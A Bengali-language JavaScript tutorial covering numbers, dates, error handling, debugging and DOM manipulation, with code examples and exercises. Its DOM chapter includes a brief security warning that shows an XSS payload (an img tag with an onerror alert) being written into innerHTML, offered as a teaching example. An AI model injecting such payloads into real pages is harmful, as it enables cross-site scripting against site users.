Number() বনাম parseInt()console.log(Number("100px")); console.log(parseInt("100px"));
NaN 100
কারণ:
toFixed()Decimal places control করতে:
const price = 99.5678; console.log(price.toFixed(2));
99.57
toFixed() string return করে।console.log( typeof price.toFixed(2) );
string
const price = 999.5678; const finalPrice = Number( price.toFixed(2) ); console.log(finalPrice);
999.57
ধরো একটি product:
const product = { name: "Laptop", price: 75999.567, discount: 10 };
আমরা:
const product = { name: "Laptop", price: 75999.567, discount: 10 }; const discountAmount = product.price * product.discount / 100; const finalPrice = product.price - discountAmount; const formattedPrice = new Intl.NumberFormat("en-BD", { style: "currency", currency: "BDT" }).format(finalPrice); console.log("Product:", product.name); console.log("Price:", formattedPrice); console.log("Date:", new Date().toLocaleDateString());
Possible output:
Formatting browser/locale অনুযায়ী কিছুটা ভিন্ন হতে পারে।
এইগুলো অবশ্যই ভালোভাবে জানতে হবে।
new Date()
Date.now()
getFullYear()
getMonth()
getDate()
getDay()
getHours()
toISOString()
toLocaleDateString()
Math.round() Math.floor() Math.ceil() Math.trunc() Math.max() Math.min() Math.random() Math.abs() Math.sqrt() Math.cbrt() Math.pow() Math.PI
Number() Number.isInteger() Number.isNaN() Number.isFinite() Number.isSafeInteger() Number.MAX_SAFE_INTEGER
12345678901234567890n
Intl.NumberFormat Intl.DateTimeFormat
/pattern/
Important:
test()
match()
replace()
replaceAll()
^
$
\d
\w
\s
+
*
?
{}
[]
আজকের:
console-এ print করো।
কত দিন difference বের করো।
1 থেকে 100-এর মধ্যে random integer generate করো।
const numbers = [10, 45, 22, 99, 67];
সবচেয়ে বড় এবং ছোট number বের করো।
const price = 125000;
এটাকে Bangladesh currency format-এ দেখাও।
দুটি বড় integer:
12345678901234567890 98765432109876543210
যোগ করো।
Check করো:
01712345678
এটি basic Bangladesh mobile-number pattern follow করছে কিনা।
Check করো:
ripon@example.com
এটি basic email pattern follow করছে কিনা।
new Date()
Math.random()
Math.floor()
Number.isInteger()
Number.MAX_SAFE_INTEGER
12345678901234567890n
new Intl.NumberFormat()
/^[^\s@]+@[^\s@]+\.[^\s@]+$/
এগুলো ভালোভাবে আয়ত্ত করলে JavaScript-এর date/time, mathematical calculation, number handling, large integers, international formatting এবং pattern validation-এর ভিত্তি শক্ত হয়ে যাবে।
এখন আমরা JavaScript-এর খুব গুরুত্বপূর্ণ একটি অংশ শিখব: Error Handling এবং Debugging। বাস্তব জীবনের application-এ user ভুল input দিতে পারে, API fail করতে পারে, কোনো variable ভুল হতে পারে, server response না-ও আসতে পারে। তখন program যেন পুরোপুরি crash না করে এবং developer যেন সমস্যাটা সহজে খুঁজে বের করতে পারে—এই কাজের জন্য Error Handling ও Debugging ব্যবহার করা হয়।
নির্ভুল ও ক্র্যাশ-মুক্ত প্রফেশনাল ওয়েব অ্যাপ্লিকেশন তৈরির জন্য এই অধ্যায়টি অপরিহার্য। 🔥
ধরো তুমি একটি ATM-এ গেলে:
let age = 20; console.log(age);
কিন্তু:
console.log(username);
এখানে username declare করা হয়নি।
দুটো শব্দ অনেক সময় একই অর্থে ব্যবহার করা হলেও conceptually:
উদাহরণ:
let result = 10 / 0; console.log(result);
Infinity
এটা error নয়।
কিন্তু:
throw new Error("Something went wrong");
এখানে আমরা ইচ্ছাকৃতভাবে একটি exception throw করেছি।
| Error | Meaning |
|---|---|
SyntaxError | Code-এর syntax ভুল |
ReferenceError | এমন variable/reference ব্যবহার করা হয়েছে যা নেই |
TypeError | ভুল type-এর operation |
RangeError | Valid range-এর বাইরে value |
URIError | URI-related ভুল |
EvalError | eval()-related error; modern code-এ খুব কম ব্যবহৃত |
AggregateError | একাধিক error একসাথে represent করতে ব্যবহৃত |
SyntaxError হয়।if (true { console.log("Hello"); }
কারণ:
if (true)
এর পরে ) missing।
সঠিক:
if (true) { console.log("Hello"); }
Hello
Compiler/JavaScript engine বলতে পারে:
ReferenceError হয়।console.log(userName);
সঠিক:
let userName = "Shariar"; console.log(userName);
Shariar
তুমি বললে:
কিন্তু তোমার contact list-এ Rahim-এর কোনো record নেই।
ReferenceError।TypeError হতে পারে।let user = null; console.log(user.name);
কারণ null-এর মধ্যে name access করা যাচ্ছে না।
আরেকটি example:
let age = 20; age();
কারণ age একটি number, function নয়।
RangeError হতে পারে।let number = 10; console.log(number.toFixed(101));
এখানে decimal digits-এর valid range-এর বাইরে value দেওয়া হয়েছে।
আরেকটি example:
let arr = new Array(-5);
কারণ array length negative হতে পারে না।
URIError হতে পারে।decodeURIComponent("%");
কারণ % এখানে valid encoded URI sequence নয়।
Error object তৈরি করতে পারি।let error = new Error("Something went wrong"); console.log(error);
let error = new Error("Invalid username"); console.log(error.name); console.log(error.message); console.log(error.stack);
Output-এর structure হবে এরকম:
| Property | কাজ |
|---|---|
name | Error-এর নাম |
message | Error-এর description |
stack | Error কোথা থেকে এসেছে তার trace |
try...catchtry { // risky code } catch (error) { // error handling }
try { console.log(userName); } catch (error) { console.log("Something went wrong!"); }
Something went wrong!
এখানে program পুরোপুরি crash না করে catch block-এ চলে গেছে।
catch-এর Error Objectআমরা error সম্পর্কে information দেখতে পারি।
try { console.log(userName); } catch (error) { console.log(error.name); console.log(error.message); }
try...catch কীভাবে কাজ করে?ধরো:
try { console.log("Step 1"); console.log(userName); console.log("Step 3"); } catch (error) { console.log("Error caught!"); }
Step 3 execute হবে না।
কারণ error হওয়ার পর JavaScript সরাসরি catch block-এ চলে যায়।
finallyfinally block error হোক বা না হোক, সাধারণত execute হয়।
Syntax:
try { } catch (error) { } finally { }
Example:
try { console.log("Trying..."); } catch (error) { console.log("Error!"); } finally { console.log("Finished!"); }
try { console.log(userName); } catch (error) { console.log("Error!"); } finally { console.log("Finished!"); }
ধরো application database-এর সাথে connection করছে।
try { console.log("Connecting to database..."); throw new Error("Database connection failed"); } catch (error) { console.log("Database error:", error.message); } finally { console.log("Connection process finished."); }
throwআমরা নিজেরাও manually error তৈরি করতে পারি।
throw new Error("Invalid data");
throw + try...catchtry { throw new Error("Something went wrong"); } catch (error) { console.log(error.message); }
Something went wrong
throw বাস্তবে validation-এর সময় অনেক useful।
function registerUser(username) { if (!username) { throw new Error("Username is required"); } console.log("User registered:", username); } try { registerUser(""); } catch (error) { console.log(error.message); }
Username is required
function login(username, password) { if (!username) { throw new Error("Username is required"); } if (!password) { throw new Error("Password is required"); } console.log("Login successful"); } try { login("shariar", ""); } catch (error) { console.log("Login failed:", error.message); }
Login failed: Password is required
নিজের application-এর জন্য custom error class তৈরি করা যায়।
class ValidationError extends Error { constructor(message) { super(message); this.name = "ValidationError"; } }
এখন:
throw new ValidationError("Email is invalid");
class ValidationError extends Error { constructor(message) { super(message); this.name = "ValidationError"; } } function register(email) { if (!email.includes("@")) { throw new ValidationError("Invalid email"); } console.log("Registration successful"); } try { register("hello.com"); } catch (error) { console.log(error.name); console.log(error.message); }
instanceof দিয়ে Error CheckChapter 11-এ আমরা instanceof দেখেছি।
এখানেও ব্যবহার করা যায়।
try { throw new TypeError("Wrong type"); } catch (error) { if (error instanceof TypeError) { console.log("Type error detected"); } }
একাধিক ধরনের error আলাদাভাবে handle করা যায়।
try { let user = null; console.log(user.name); } catch (error) { if (error instanceof TypeError) { console.log("Type problem!"); } else if (error instanceof ReferenceError) { console.log("Reference problem!"); } else { console.log("Unknown error!"); } }
Chapter 3-এ আমরা ?. দেখেছি।
TypeError এড়াতে সাহায্য করে।let user = null; console.log(user?.name);
undefined
যেখানে:
console.log(user.name);
TypeError দিতে পারে।?. error handling-এর complete replacement নয়।
এটি শুধু নির্দিষ্ট null/undefined access safely handle করে।
?? দিয়ে fallback value দেওয়া যায়।
let username = null; let displayName = username ?? "Guest"; console.log(displayName);
Guest
এটাও application crash এড়ানোর ক্ষেত্রে useful।
finally কখন বেশি ব্যবহার হয়?finally সাধারণত cleanup operation-এর জন্য useful।
যেমন:
Example:
let loading = true; try { console.log("Fetching data..."); } catch (error) { console.log("Error!"); } finally { loading = false; console.log("Loading finished"); }
Fetching data... Loading finished
Debugging হলো program-এর problem খুঁজে বের করে ঠিক করার process।
Real life:
Programming:
console.log() দিয়ে Debuggingসবচেয়ে basic debugging technique:
let price = 100; let quantity = 3; console.log(price); console.log(quantity); let total = price * quantity; console.log(total);
100 3 300
এভাবে বুঝতে পারবে কোন stage-এ value ভুল হচ্ছে।
console.log()এভাবে:
let price = 100; let quantity = 3; console.log("Price:", price); console.log("Quantity:", quantity); let total = price * quantity; console.log("Total:", total);
Price: 100 Quantity: 3 Total: 300
এটা debugging-এর জন্য অনেক পরিষ্কার।
console.error()console.error("Database connection failed");
Browser console-এ এটি error হিসেবে দেখাবে।
console.warn()console.warn("Password is weak");
এটি developer-কে warning দেয়।
console.table()Array of objects debug করতে এটি অসাধারণ useful।
let students = [ { name: "Shariar", age: 23, department: "CSE" }, { name: "Rahim", age: 22, department: "CSE" } ]; console.table(students);
Browser console-এ table format-এ দেখাবে।
এটি বড় data debug করার সময় খুব useful।
console.dir()Object-এর structure inspect করতে:
let user = { name: "Shariar", skills: ["HTML", "CSS", "JavaScript"] }; console.dir(user);
Browser DevTools-এ object structure expand করে দেখতে পারবে।
console.time() এবং console.timeEnd()কোনো code কত সময় নিচ্ছে তা measure করা যায়।
console.time("Loop"); for (let i = 0; i < 1000000; i++) { // work } console.timeEnd("Loop");
Output example:
Loop: 5.123ms
সময় machine/browser অনুযায়ী পরিবর্তিত হবে।
console.count()কোনো code কতবার execute হচ্ছে দেখতে:
function test() { console.count("test function"); } test(); test(); test();
test function: 1 test function: 2 test function: 3
Debugging-এর জন্য useful।
console.assert()কোনো condition false হলে message দেখাবে।
let age = 15; console.assert(age >= 18, "User must be 18 or older");
Assertion failed: User must be 18 or older
যদি:
let age = 20; console.assert(age >= 18, "User must be 18 or older");
তাহলে সাধারণত কোনো assertion message দেখাবে না।
console.trace()কোন function call chain থেকে code এসেছে তা দেখতে:
function first() { second(); } function second() { console.trace(); } first();
Console-এ call stack দেখা যাবে।
এটি complex application debugging-এ useful।
JavaScript developer হিসেবে Browser DevTools অবশ্যই জানতে হবে।
Chrome-এ:
অথবা:
F12
| Tool | কাজ |
|---|---|
| Console | Error/output/debug |
| Sources | JavaScript files |
| Network | API/request |
| Elements | HTML/CSS |
| Application | Storage/Cookies |
| Performance | Performance analysis |
| Memory | Memory analysis |
ধরো:
function calculate() { let price = 100; let quantity = 3; let total = price * quantity; console.log(total); } calculate();
Sources panel-এ let total = ... লাইনে breakpoint বসালে JavaScript ওই line-এ execution pause করতে পারে।
তারপর তুমি variable-এর value দেখতে পারবে।
debuggerCode-এর মধ্যেই breakpoint দিতে পারো:
function calculate() { let price = 100; let quantity = 3; debugger; let total = price * quantity; console.log(total); } calculate();
Browser DevTools খোলা থাকলে debugger line-এ execution pause করতে পারে।
ধরো:
function one() { two(); } function two() { three(); } function three() { console.log("Hello"); } one();
Call sequence:
এটাকে Call Stack দিয়ে track করা যায়।
ধরো:
let globalValue = 100; function test() { let localValue = 50; console.log(globalValue); console.log(localValue); } test();
Debugger-এর Scope section-এ দেখতে পারবে:
Local Scope global Scope
এতে variable কোথা থেকে এসেছে বোঝা সহজ হয়।
Defensive Programming মানে হলো আগে থেকেই সম্ভাব্য ভুল situation চিন্তা করে code লেখা।
খারাপ:
function calculateTotal(price, quantity) { return price * quantity; }
যদি:
calculateTotal();
তাহলে result:
NaN
আরও defensive:
function calculateTotal(price, quantity) { if (typeof price !== "number") { throw new TypeError("Price must be a number"); } if (typeof quantity !== "number") { throw new TypeError("Quantity must be a number"); } return price * quantity; }
এখন:
try { console.log(calculateTotal("100", 2)); } catch (error) { console.log(error.message); }
Price must be a number
ধরো backend থেকে user data আসছে।
let response = { user: { name: "Shariar" } }; console.log(response.user.name);
কিন্তু কোনো সময় backend response হতে পারে:
let response = {};
তখন:
console.log(response.user.name);
Safe:
console.log(response.user?.name);
undefined
বাস্তবে asynchronous API handling আমরা পরে Promise/async/await chapter-এ বিস্তারিত করব।
এখন basic idea:
try { let data = getData(); console.log(data); } catch (error) { console.error("Failed:", error.message); }
Error.causeএকটি error-এর original cause অন্য error হিসেবে attach করা যায়।
try { throw new Error("Database unavailable"); } catch (error) { throw new Error("Failed to load user data", { cause: error }); }
এখানে outer error-এর:
error.cause
এর মধ্যে original error থাকতে পারে।
এটি বড় application-এর error chain বুঝতে useful।
AggregateError ব্যবহার করা যায়।let errors = [ new Error("Database failed"), new Error("API failed"), new Error("Cache failed") ]; let aggregate = new AggregateError( errors, "Multiple operations failed" ); console.log(aggregate);
এর মধ্যে multiple errors থাকবে।
ধরো আমরা product order করছি।
function placeOrder(product, quantity) { if (!product) { throw new Error("Product is required"); } if (quantity <= 0) { throw new Error("Quantity must be greater than 0"); } return `Order placed: ${product} x ${quantity}`; }
ব্যবহার:
try { let result = placeOrder("Laptop", 2); console.log(result); } catch (error) { console.error("Order failed:", error.message); }
Order placed: Laptop x 2
ভুল input:
try { let result = placeOrder("Laptop", 0); console.log(result); } catch (error) { console.error("Order failed:", error.message); }
Order failed: Quantity must be greater than 0
try...catch ব্যবহার করবে?সব code-এর চারপাশে try...catch দেওয়া উচিত নয়।
বিশেষ করে যেখানে failure হওয়ার সম্ভাবনা আছে সেখানে ব্যবহার করা ভালো।
যেমন:
এভাবে করা ঠিক নয়:
try { riskyFunction(); } catch (error) { }
কারণ error silently ignore হয়ে যাচ্ছে।
এটা debugging কঠিন করে দেয়।
Better:
try { riskyFunction(); } catch (error) { console.error("Operation failed:", error); }
খারাপ:
try { loginUser(); } catch (error) { console.log("Error"); }
ভালো:
try { loginUser(); } catch (error) { console.error("Login failed:", { name: error.name, message: error.message }); }
সবসময় না।
Developer console:
User-এর জন্য:
অর্থাৎ:
এখন সব concept একসাথে ব্যবহার করি।
class ValidationError extends Error { constructor(message) { super(message); this.name = "ValidationError"; } } function registerStudent(name, age, email) { if (!name) { throw new ValidationError("Name is required"); } if (typeof age !== "number") { throw new TypeError("Age must be a number"); } if (age < 18) { throw new ValidationError("Student must be at least 18"); } if (!email.includes("@")) { throw new ValidationError("Invalid email"); } return { name, age, email }; } try { let student = registerStudent( "Shariar", 23, "shariar@example.com" ); console.table(student); } catch (error) { console.error(error.name); console.error(error.message); }
name Shariar age 23 email shariar@example.com
Chapter 14 থেকে অবশ্যই জানতে হবে:
Error SyntaxError ReferenceError TypeError RangeError URIError AggregateError
try catch finally throw
error.name error.message error.stack error.cause
class MyError extends Error {}
console.log() console.error() console.warn() console.table() console.dir() console.time() console.timeEnd() console.count() console.assert() console.trace() debugger
| Concept | Example |
|---|---|
| Error create | new Error("Failed") |
| Throw error | throw new Error() |
| Handle | try...catch |
| Cleanup | finally |
| Error name | error.name |
| Error message | error.message |
| Stack | error.stack |
| Custom error | class MyError extends Error |
| Debug output | console.log() |
| Debug table | console.table() |
| Warning | console.warn() |
| Debug breakpoint | debugger |
| Type check | error instanceof TypeError |
এমন একটি function তৈরি করো:
divide(a, b)
যেখানে b = 0 হলে:
Cannot divide by zero
error throw করবে।
একটি:
registerUser()
function তৈরি করো যেখানে:
না হলে custom error throw করবে।
এই data:
let students = [ { name: "Rahim", marks: 80 }, { name: "Karim", marks: 75 }, { name: "Shariar", marks: 90 } ];
console.table() দিয়ে দেখাও।
console.time() ব্যবহার করে 1 থেকে 1,000,000 পর্যন্ত loop-এর execution time বের করো।
একটি custom error তৈরি করো:
class InsufficientBalanceError extends Error
এবং একটি:
withdraw(balance, amount)
function তৈরি করো।
Balance-এর চেয়ে amount বেশি হলে error throw করবে।
আর developer হিসেবে:
এখন JavaScript-এর পরবর্তী গুরুত্বপূর্ণ ধাপ হলো Chapter 15 — DOM (Document Object Model), যেখানে আমরা JavaScript দিয়ে HTML page-এর element select, create, change, delete এবং dynamically manipulate করা শিখব।
এখন থেকে JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ practical অংশগুলোর একটি শুরু হচ্ছে — DOM (Document Object Model)। এতদিন আমরা JavaScript-এর ভিতরের language concepts শিখেছি। এখন শিখব কীভাবে JavaScript দিয়ে HTML webpage-এর content, structure, style এবং elements পরিবর্তন করা যায়।
ব্রাউজারে যেকোনো আধুনিক ডায়নামিক ওয়েব অ্যাপ্লিকেশন বা রিয়্যাক্ট ফ্রেমওয়ার্কের মূল ভিত্তি হলো এই DOM আর্কিটেকচার। 🔥
DOM = Document Object Model
Browser যখন একটি HTML page load করে, তখন HTML document-কে একটি object-based tree structure হিসেবে তৈরি করে।
ধরো HTML:
<!DOCTYPE html> <html> <head> <title>My Page</title> </head> <body> <h1>Hello World</h1> <p>Welcome to JavaScript</p> <button>Click Me</button> </body> </html>
Browser এটাকে roughly এভাবে চিন্তা করে:
এই structure-টাই DOM Tree।
ধরো একটি University campus:
এখানে:
HTML DOM-ও একই ধরনের hierarchy follow করে।
ধরো HTML:
<h1>Hello</h1>
JavaScript দিয়ে তুমি এটাকে পরিবর্তন করতে পারো:
document.querySelector("h1").textContent = "Welcome Shariar!";
Browser-এ:
Welcome Shariar!
অর্থাৎ:
document
document পুরো HTML webpage-কে represent করে।
Example:
console.log(document);
Browser console-এ পুরো HTML document দেখতে পারবে।
পুরো HTML element পাওয়া যায়:
console.log(document.documentElement);
<html>...</html>
HTML-এর <head>:
console.log(document.head);
<head>...</head>
HTML-এর <body>:
console.log(document.body);
<body>...</body>
HTML-এর প্রতিটি element DOM-এর মধ্যে একটি object/node হিসেবে থাকে।
যেমন:
<h1>Hello</h1>
এখানে:
h1 = DOM Element
JavaScript:
let heading = document.querySelector("h1"); console.log(heading);
DOM শুধু HTML element নিয়ে তৈরি নয়।
DOM-এ বিভিন্ন ধরনের node থাকতে পারে।
যেমন:
Example:
<h1>Hello</h1>
এখানে:
ধরো:
<body> <h1>Hello</h1> <p>JavaScript</p> </body>
DOM Tree:
DOM manipulation-এর প্রথম কাজ হলো:
document.getElementById() document.getElementsByClassName() document.getElementsByTagName() document.querySelector() document.querySelectorAll()
HTML:
<h1 id="title">Hello World</h1>
JavaScript:
let title = document.getElementById("title"); console.log(title);
এটি <h1> element return করবে।
HTML:
<h1 id="title">Hello World</h1>
JavaScript:
let title = document.getElementById("title"); title.textContent = "Welcome to JavaScript!";
Browser:
Welcome to JavaScript!
HTML:
<p class="text">One</p> <p class="text">Two</p> <p class="text">Three</p>
JavaScript:
let elements = document.getElementsByClassName("text"); console.log(elements);
এখানে multiple elements পাওয়া যাবে।
এটি একটি HTMLCollection return করে।
let elements = document.getElementsByClassName("text"); console.log(elements.length);
3
Index দিয়ে access:
console.log(elements[0]);
প্রথম <p> পাওয়া যাবে।
Tag name দিয়ে element খুঁজতে:
<p>Hello</p> <p>JavaScript</p> <p>DOM</p>
let paragraphs = document.getElementsByTagName("p"); console.log(paragraphs.length);
3
এটি DOM-এর সবচেয়ে useful selector method-গুলোর একটি।
document.querySelector(selector);
let title = document.querySelector("#title");
let box = document.querySelector(".box");
let heading = document.querySelector("h1");
HTML:
<p class="text">One</p> <p class="text">Two</p> <p class="text">Three</p>
let element = document.querySelector(".text"); console.log(element.textContent);
One
শুধু প্রথম matching element পাওয়া যাবে।
সব matching element পেতে:
let elements = document.querySelectorAll(".text"); console.log(elements);
এটি সাধারণত একটি NodeList return করে।
let elements = document.querySelectorAll(".text"); console.log(elements.length);
3
Index:
console.log(elements[1].textContent);
Two
বনাম querySelectorAll()| Method | Result |
|---|---|
querySelector() | প্রথম matching element |
querySelectorAll() | সব matching element |
Example:
document.querySelector(".box");
→ প্রথম .box
document.querySelectorAll(".box");
→ সব .box
querySelector()-এ CSS selector ব্যবহার করা যায়।
HTML:
<div id="container"> <p class="text">Hello</p> </div>
document.querySelector("#container");
document.querySelector(".text");
document.querySelector("p");
document.querySelector("#container p");
let element = document.querySelector("h1, p");
প্রথম matching h1 অথবা p পাওয়া যাবে।
HTML:
<input type="email">
JavaScript:
let input = document.querySelector('input[type="email"]');
HTML:
<h1 id="title">Old Title</h1>
JavaScript:
document.getElementById("title").textContent = "New Title";
Browser:
New Title
HTML:
<div id="box"></div>
JavaScript:
document.getElementById("box").innerHTML = "<h2>Hello</h2>";
এখন HTML হবে:
<div id="box"> <h2>Hello</h2> </div>
বনাম innerHTMLtextContent | innerHTML |
|---|---|
| Text set করে | HTML set করতে পারে |
| HTML parse করে না | HTML parse করে |
| সাধারণত safer | User input-এর ক্ষেত্রে সাবধান |
| Plain text-এর জন্য ভালো | Dynamic HTML-এর জন্য useful |
Example:
element.textContent = "<b>Hello</b>";
Browser:
<b>Hello</b>
কিন্তু:
element.innerHTML = "<b>Hello</b>";
Browser:
Hello (bold)
element.innerText
এটি user-visible text-এর সাথে বেশি সম্পর্কিত।
Example:
let text = document.querySelector("p"); console.log(text.innerText);
HTML:
<img id="photo" src="old.jpg" alt="Old">
JavaScript:
let image = document.getElementById("photo"); console.log(image.src); console.log(image.alt);
let image = document.querySelector("img"); console.log(image.getAttribute("src"));
old.jpg
image.setAttribute("src", "new.jpg");
এখন:
<img src="new.jpg">
let image = document.querySelector("img"); console.log(image.hasAttribute("alt"));
true
image.removeAttribute("alt");
এখন alt attribute remove হয়ে যাবে।
অনেক common attribute সরাসরি property দিয়েও পরিবর্তন করা যায়।
let image = document.querySelector("img"); image.src = "new.jpg"; image.alt = "New image";
HTML:
<input id="username" type="text">
JavaScript:
let input = document.getElementById("username"); input.value = "Shariar";
Input box-এ:
Shariar
দেখাবে।
Value পড়তে:
console.log(input.value);
HTML:
<input id="agree" type="checkbox">
JavaScript:
let checkbox = document.getElementById("agree"); console.log(checkbox.checked);
false
Check করলে:
checkbox.checked = true;
HTML:
<select id="department"> <option value="cse">CSE</option> <option value="eee">EEE</option> </select>
JavaScript:
let department = document.getElementById("department"); console.log(department.value);
HTML:
<h1 id="title">Hello</h1>
JavaScript:
let title = document.getElementById("title"); title.style.color = "red"; title.style.fontSize = "40px";
এখন heading লাল এবং বড় হবে।
CSS:
background-color: blue;
JavaScript:
element.style.backgroundColor = "blue";
CSS:
font-size: 30px;
JavaScript:
element.style.fontSize = "30px";
CSS:
margin-top: 20px;
JavaScript:
element.style.marginTop = "20px";
অর্থাৎ CSS-এর kebab-case → JavaScript-এ camelCase।
Direct style পরিবর্তনের চেয়ে অনেক সময় CSS class ব্যবহার করা ভালো।
HTML:
<div id="box">Hello</div>
CSS:
.active { background-color: blue; color: white; }
JavaScript:
let box = document.getElementById("box"); box.classList.add("active");
element.classList.add("active");
একটি class যোগ করে।
element.classList.remove("active");
Class remove করে।
element.classList.toggle("active");
যদি class থাকে:
remove
না থাকলে:
add
এটি খুব useful।
console.log(element.classList.contains("active"));
true
অথবা:
false
element.classList.replace("old", "new");
একটি class অন্য class দিয়ে replace করবে।
JavaScript দিয়ে নতুন HTML element তৈরি করা যায়।
let paragraph = document.createElement("p");
এখন paragraph একটি নতুন DOM element।
let paragraph = document.createElement("p"); paragraph.textContent = "Hello JavaScript";
কিন্তু এখনও webpage-এ দেখা যাবে না।
কারণ element-টাকে DOM-এ add করতে হবে।
HTML:
<div id="container"></div>
JavaScript:
let container = document.getElementById("container"); let paragraph = document.createElement("p"); paragraph.textContent = "Hello JavaScript"; container.append(paragraph);
DOM:
<div id="container"> <p>Hello JavaScript</p> </div>
container.appendChild(paragraph);
এটিও child element add করে।
বনাম appendChild()append() | appendChild() |
|---|---|
| Node এবং text দুটোই নিতে পারে | Node নেয় |
| একাধিক item নিতে পারে | সাধারণত একটি node |
| Modern ও flexible | Traditional DOM API |
Example:
container.append("Hello");
এটা সম্ভব।
কিন্তু:
container.appendChild("Hello");
এটা valid node না হওয়ায় কাজ করবে না।
Parent-এর শুরুতে element যোগ করতে:
container.prepend(paragraph);
কোনো element-এর আগে কিছু যোগ করতে:
element.before(paragraph);
কোনো element-এর পরে:
element.after(paragraph);
Modern method:
element.remove();
Example:
let paragraph = document.querySelector("p"); paragraph.remove();
Parent থেকে child remove:
container.removeChild(paragraph);
container.replaceChildren(paragraph);
এটি container-এর existing children replace করে।
আর একটি নির্দিষ্ট child replace করতে:
oldElement.replaceWith(newElement);
একটি DOM element copy করতে:
let copy = element.cloneNode(true);
এখানে:
HTML:
<div id="parent"> <p id="child">Hello</p> </div>
JavaScript:
let child = document.getElementById("child"); console.log(child.parentElement);
div পাওয়া যাবে।
let parent = document.getElementById("parent"); console.log(parent.children);
এটি শুধু element children দেখায়।
console.log(parent.firstElementChild);
console.log(parent.lastElementChild);
HTML:
<p>One</p> <p id="current">Two</p> <p>Three</p>
JavaScript:
let current = document.getElementById("current"); console.log(current.nextElementSibling);
<p>Three</p>
console.log(current.previousElementSibling);
<p>One</p>
DOM traversal মানে DOM Tree-এর মধ্যে এক element থেকে অন্য element-এ যাওয়া।
Important properties:
parentElement children firstElementChild lastElementChild nextElementSibling previousElementSibling
বনাম childNodeselement.children
→ শুধু element children।
element.childNodes
→ text node, comment node সহ বিভিন্ন node থাকতে পারে।
Example:
<div> Hello <p>World</p> </div>
এখানে whitespace/text node থাকার কারণে childNodes এবং children-এর result একই নাও হতে পারে।
কোনো element-এর কাছের matching ancestor খুঁজতে:
let button = document.querySelector("button"); let card = button.closest(".card");
Real-world application-এ এটি খুব useful।
কোনো element CSS selector match করছে কিনা:
if (element.matches(".active")) { console.log("Active"); }
এখন একটি ছোট project করি।
<h1 id="count">0</h1> <button id="increase">+</button> <button id="decrease">-</button>
let count = 0; let countElement = document.getElementById("count"); let increaseButton = document.getElementById("increase"); let decreaseButton = document.getElementById("decrease"); increaseButton.addEventListener("click", function () { count++; countElement.textContent = count; }); decreaseButton.addEventListener("click", function () { count--; countElement.textContent = count; });
এখানে আমরা addEventListener() ব্যবহার করেছি, যেটা Chapter 16-এ বিস্তারিত শিখব।
HTML:
<input id="taskInput" type="text"> <button id="addButton">Add Task</button> <ul id="taskList"></ul>
JavaScript:
let input = document.getElementById("taskInput"); let button = document.getElementById("addButton"); let list = document.getElementById("taskList"); button.addEventListener("click", function () { let task = input.value; if (task === "") { return; } let li = document.createElement("li"); li.textContent = task; list.append(li); input.value = ""; });
User লিখবে:
Learn JavaScript
তারপর Add চাপলে:
• Learn JavaScript
এভাবে dynamic list তৈরি হবে।
HTML:
<button id="themeButton"> Toggle Dark Mode </button>
CSS:
.dark { background-color: black; color: white; }
JavaScript:
let button = document.getElementById("themeButton"); button.addEventListener("click", function () { document.body.classList.toggle("dark"); });
Button click করলে:
HTML:
<button id="product" data-id="101" data-category="laptop"> Laptop </button>
JavaScript:
let product = document.getElementById("product"); console.log(product.dataset.id); console.log(product.dataset.category);
101 laptop
data-* attributes custom data রাখার জন্য useful।
| Property | কাজ |
|---|---|
textContent | Text পড়া/লেখা |
innerHTML | HTML পড়া/লেখা |
innerText | Visible text |
value | Input value |
style | Inline CSS |
classList | CSS class manage |
id | Element ID |
children | Element children |
parentElement | Parent |
dataset | data-* values |
| Method | কাজ |
|---|---|
getElementById() | ID দিয়ে select |
getElementsByClassName() | Class দিয়ে select |
getElementsByTagName() | Tag দিয়ে select |
querySelector() | প্রথম matching element |
querySelectorAll() | সব matching elements |
createElement() | Element তৈরি |
append() | শেষে add |
prepend() | শুরুতে add |
remove() | Remove |
replaceWith() | Replace |
cloneNode() | Clone |
closest() | Ancestor খোঁজা |
matches() | Selector match check |
getAttribute() | Attribute পড়া |
setAttribute() | Attribute set |
removeAttribute() | Attribute remove |
hasAttribute() | Attribute আছে কিনা |
ধরো user input:
let userInput = "<img src=x onerror=alert('Hacked')>";
এটা সরাসরি:
element.innerHTML = userInput;
দিলে security problem হতে পারে।
এ ধরনের issue-কে সাধারণভাবে XSS (Cross-Site Scripting) বলা হয়।
User-provided plain text দেখানোর ক্ষেত্রে:
element.textContent = userInput;
সাধারণত safer approach।
Security chapter-এ আমরা XSS আরও বিস্তারিত দেখব।
getElementsByClassName() সাধারণত live HTMLCollection দেয়।
let items = document.getElementsByClassName("item");
DOM পরিবর্তন হলে collection-এর content automatically update হতে পারে।
অন্যদিকে:
let items = document.querySelectorAll(".item");
সাধারণত static NodeList দেয়।
অর্থাৎ পরে DOM-এ নতুন matching element যোগ করলেও আগের NodeList automatically update হবে না।
যদি JavaScript HTML element তৈরি হওয়ার আগেই execute করে:
let title = document.getElementById("title"); console.log(title);
তাহলে null পাওয়া যেতে পারে।
একটি common solution হলো script-কে HTML-এর শেষে রাখা:
<body> <h1 id="title">Hello</h1> <script src="script.js"></script> </body>
আরেকটি approach হলো:
document.addEventListener("DOMContentLoaded", function () { let title = document.getElementById("title"); console.log(title); });
DOMContentLoaded আমরা Events chapter-এ আরও বিস্তারিত দেখব।
একটি webpage-কে এভাবে চিন্তা করো:
JavaScript দিয়ে frontend development করতে হলে এগুলো অবশ্যই ভালোভাবে জানতে হবে:
getElementById() getElementsByClassName() getElementsByTagName() querySelector() querySelectorAll()
textContent innerText innerHTML
getAttribute() setAttribute() hasAttribute() removeAttribute()
classList.add() classList.remove() classList.toggle() classList.contains() classList.replace()
element.style.color element.style.backgroundColor element.style.fontSize
document.createElement()
append() appendChild() prepend() before() after()
remove() removeChild()
parentElement children firstElementChild lastElementChild nextElementSibling previousElementSibling closest()
dataset
// Select document.getElementById("title"); document.querySelector(".box"); document.querySelectorAll(".item"); // Content element.textContent = "Hello"; element.innerHTML = "<b>Hello</b>"; // Attribute element.setAttribute("title", "Hello"); element.getAttribute("title"); element.removeAttribute("title"); // Class element.classList.add("active"); element.classList.remove("active"); element.classList.toggle("active"); // Style element.style.color = "red"; // Create let div = document.createElement("div"); // Add parent.append(div); // Remove div.remove(); // Parent element.parentElement; // Children element.children; // Data element.dataset.id;
1. একটি <h1> element তৈরি করে JavaScript দিয়ে তার text পরিবর্তন করো।
2. একটি paragraph-এর color JavaScript দিয়ে পরিবর্তন করো।
3. একটি button-এর text পরিবর্তন করো।
